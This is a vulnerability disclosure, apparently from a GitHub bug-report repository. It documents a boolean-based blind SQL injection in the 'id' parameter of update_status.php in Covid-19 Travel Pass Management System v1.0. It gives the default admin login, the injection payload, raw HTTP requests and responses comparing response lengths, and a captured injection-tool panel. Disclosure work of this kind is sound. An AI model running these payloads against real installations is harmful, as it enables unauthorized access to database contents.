

main

...

bug_report / vendors / oretnom23 / covid-19-travel-pass-management-system / SQLi-5.md



debug601 Create SQLi-5.md

History

1 contributor

38 lines (25 sloc) | 1.56 KB

...

Covid-19 Travel Pass Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html>

Vulnerability File: /ctpms/admin/applications/update_status.php?id=

Vulnerability location: /ctpms/admin/applications/update_status.php?id=,id

[+] Payload: /ctpms/admin/applications/update_status.php?

id=1%27%20and%20length(database())%20=%208--+ // Leak place ---> id

Current database name: ctpms_db,length is 8

```
GET /ctpms/admin/applications/update_status.php?id=1%27%20and%20length(database())%2
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close

When length (database ()) = 7, Content-Length: 1783

```
GET /ctpms/admin/applications/update_status.php?id=1%27%20and%20length(database())%20=%207--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close

HTTP/1.1 200 OK
Date: Fri, 06 May 2022 07:00:17 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1783
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="application-form">
    <input type="hidden" name="id" value="">
    <div class="form-group">
      <label for="status" class="control-label">S
```

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION

Load URL 192.168.1.19/ctpms/admin/applications/update_status.php?id=1' and length(database()) = 7--+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

When length (database ()) = 8, Content-Length: 1792

```
GET /ctpms/admin/applications/update_status.php?id=1%27%20and%20length(database())%20=%208--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close

HTTP/1.1 200 OK
Date: Fri, 06 May 2022 06:59:51 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalida
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1792
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="application-form">
    <input type="hidden" name="id"
    <div class="form-group">
      <label for="status" clas
```

INT

SQL BASICS

UNION BASED

ERROR/DOUBLE QUERY

TOOLS

WAF BYPASS

ENCODING

HTML

ENCRYPTION

Load URL

Split URL

Execute

192.168.1.19/ctpm/admin/applications/update_status.php?id=1' and length(database()) = 8--+

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert

Status

Approved